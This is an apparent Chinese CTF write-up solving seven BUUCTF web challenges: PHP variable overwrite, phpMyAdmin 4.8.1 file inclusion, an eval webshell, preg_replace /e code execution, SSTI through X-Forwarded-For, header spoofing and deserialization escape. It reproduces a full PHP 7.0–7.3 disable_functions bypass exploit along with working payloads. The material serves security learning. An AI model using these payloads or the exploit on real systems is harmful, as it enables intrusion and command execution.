BUUCTF_WEB_20200923
WEB-[BJDCTF2020]Mark loves cat
- 变量覆盖漏洞
看了半天没啥发现,如何拿disearch扫一下发现存在/.git源码泄露,用githack来一波,接着发现有两个php文件
flag.php:
<?php
$flag = file_get_contents('/flag');
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ #get参数中flag的值绝对某个键名且键名不能有flag
exit($handsome);
}
}
#不存在get型flag参数且不存在post型flag参数
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
#post型flag参数值绝对等于flag或者flag参数值绝对等于flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
##如果像达到要求
#get参数中flag的值要等于某个键名或者get参数中键名有flag
#存在get型flag参数或者存在post型flag参数
#post型flag参数值不绝对等于flag且get型flag参数值不绝对等于flag
echo "the flag is: ".$flag;
发现了变量覆盖漏洞
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
如果 get型flag参数绝对等于变量名并且变量名等不等于flag则执行 exit($handsome);
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
如果不存在get型flag参数并且存在post型flag参数,则执行exit($yds)
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
如果post型flag参数绝对等于flag或者get型flag参数绝对等于flag执行 exit($is)
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
在这个里面,首先是 $x=yds,$=flag 。把它带进foreach里面,就变成了$yds=$flag 。$$x就相当于是$($x),这样就非常好理解变量覆盖漏洞了。
exit也能输出变量通过分析发现第一个判断不能用根据第二个判断get提交参数yds=flag通过变量覆盖变成$yds=flag根据第3个判断可以使用get提交s=flag&flag=flag
flag
flag{6ed5e83f-880b-4ec5-96b5-210b7424a68d}
WEB-[GWCTF 2019]我有一个数据库
- phpmyadmin版本漏洞
拿到后没有说明思路,disearch扫一波,发现一个可以访问的目录 http://50a82823-1aa2-493a-bde6-38c5b8c957a0.node3.buuoj.cn:80/phpmyadmin/
这里phpmyadmin的版本号为4.8.1,这个版本的phpmyadmin存在文件包含漏洞使用网上的payload直接打
?target=db_datadict.php%253f/../../../../../../../../etc/flag
flag
flag{2c297092-9cca-4d16-ba15-15be67929c15}
WEB-[GKCTF2020]CheckIN
打开之后是这样的,没有发现反序列化函数,但是发现有一个@eval,想到了一句话,这是用base64进行传参,首先传参phpinfo();看看,需要经过base64编码
观察disable_functions有许多危险的函数,可以尝试上传一个马,eval($_POST[123]);,经过base64是ZXZhbCgkX1BPU1RbMTIzXSk7构造payload:http://a78430e4-c08c-486b-95d7-6a80734de8e4.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMTIzXSk7
打开flag后却没有东西哦,有一个readflag文件
然后怎么办,我在不会了。。。看了大佬的wp后才知道做题要注意版本通过phpinfo()知道php版本为7.3,这个版本有一个漏洞php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令影响范围是linux,php7.0-7.3给出了exp,https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php下载后进行修改,改为执行readflag
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("/readflag);
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
然后通过蚁剑进行上传这里发现tmp目录权限是1777,于是决定上传到这个目录,通过之前的一句话来执行文件包含,得到flag
flag
flag{c2b673a6-47d9-4975-a950-b56a3f8d18ce}
WEB-[BJDCTF2020]ZJCTF,不过如此
分析代码,ge传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议
源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。于是构造payload:index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
回显一串base64加密密文,进行解密
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
/e模式的preg_replace,有一个远程代码执行漏洞。思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。于是构造Payload:next.php?\S*=${getFlag()}&cmd=system('cat /flag');
flag
flag{2baf1de4-ca58-4aa2-8edd-5c2bbc7e28ba}
WEB-[BJDCTF2020]The mystery of ip
进入index.php并没有发现什么比较明显的提示,打开Hint然后F12提示 Do you know why i know your ip?
猜测是通过XFF头来获取信息的,发个HTTP请求添加一个XFF头测试一下:X-Forwarded-For: test
可以看到此时显示的IP已经变了,猜测存在ssti,构造一个表达式Payload测试一下:X-Forwarded-For: {{system('ls')}}
然后继续查看flag.php
flag
flag{52ba6700-1244-4160-8a2d-1f885d1945db}
WEB-[BJDCTF 2nd]假猪套天下第一
- 套娃重放
用amdin登陆提示错误,用其他用户名登陆成功,登陆成功后有提示
抓一下包,发现有提示,有一个L0g1n.php
点进去后,提示99年后开放
我们抓一下包,修改一下时间戳,再访问
修改时间戳重发以后会提示Sorry, this site is only optimized for those who comes from localhost意思是只能本地用户访问,添加Client-ip进行绕过
添加Referer继续
这里是个UA,替换UACommodore 64
添加邮箱
继续添加代理
终于得到一串阳间的加密了ZmxhZ3s2ZjExNWJmZS0yZWZiLTQ5ODEtODk3OC0zNGQ0MmRmNjIwZDl9Cg==
flag
flag{6f115bfe-2efb-4981-8978-34d42df620d9}
WEB-[0CTF 2016]piapiapia
- 考点:参数传递数组绕过字符串检测、反序列化字符逃逸
输入账密,回复无效,dir扫一下目录,有www.zip
在config.php中有变量flag,但为空,flag应该在服务器的config.php文件中,要找可以利用的漏洞读取服务器的flag
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
继续分析代码有注册功能,且代码中要求必须注册才能进行其后的操作;update.php中对用户填写的信息进行了一些限制,且将信息序列化保存;class.php 中的 filter 也对用户信息进行了限制
1、update.php(1)phone 长度为11位;(2)nickname长度小于 10 位,且只能为字母和数字;(3)将用户填写的 phone、email、nickname 以及上传的 文件进行序列化
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
class.php 中的限制:(1)update_profile 中对 new_profile 用 filter 进行了过滤;(2)filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.
<?php
......
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
.....
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
......
profile.php(1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容(2)用base64编码对上传文件进行了读取和显示
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
突破:php反序列化字符逃逸PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。构造数据(1)选择构造数据的位置:构造数据要被挤到 photo 的位置,那么需要在 photo 前一个数据项,即 nickname 的位置,构造超出规定长度的数据;(2)绕过限制:前面对 nickname 限制了长度为 10 ,这里要将其改为数组绕过(3)获取构造数据长度
<?php
$profile['phone'] = '12345678990';
$profile['email'] = '123@123.com';
$profile ['nickname'] = ['abc'];
$profile['photo'] = 'config.php';
echo serialize($profile);
进入update.php抓包修改nickname为数组
然后回到profile.php解码base64
具体步骤:
- 注册账户
- 登录账户
- 随意提交一些资料抓包
- 修改nickname为nickname[],数组绕过长度检测
- 修改nickname中的内容
flag
flag{679adb16-ba23-4a92-b54f-151eed927315}